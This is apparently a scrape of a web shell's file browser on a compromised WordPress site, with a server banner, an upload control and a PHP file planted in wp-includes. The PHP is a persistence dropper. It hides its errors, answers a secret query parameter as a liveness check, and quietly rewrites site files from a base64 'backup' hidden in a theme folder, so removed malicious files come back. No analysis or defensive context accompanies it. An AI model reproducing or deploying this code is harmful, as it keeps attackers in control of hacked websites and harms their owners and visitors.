| Server IP : 46.17.175.229 / Your IP : 216.73.216.114 Web Server : LiteSpeed System : Linux lt-bnk-web1163.main-hosting.eu 4.18.0-553.109.1.lve.el8.x86_64 #1 SMP Thu Mar 5 20:23:46 UTC 2026 x86_64 User : u528038015 ( 528038015) PHP Version : 8.2.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/u528038015/domains/wegallery.store/public_html/wp-includes/ |
Upload File : |
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_levdjpwe'])) {
echo '1';
exit;
}
$myDir = dirname(__FILE__);
$rootHop = '..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/wp-content/themes/twentytwentyone/b7e3051c26d16555f779ac9e53d98ce9.dat';
if (!@file_exists($backupFile)) {
http_response_code(404);
echo '0';
exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
echo '0';
exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
echo '0';
exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
$path = $siteRoot . '/' . $file;
if (!file_exists($path) || md5_file($path) !== $data['md5']) {
$content = base64_decode($data['content']);
if (@file_put_contents($path, $content) !== false) {
$restored++;
}
}
}
echo '1';
?>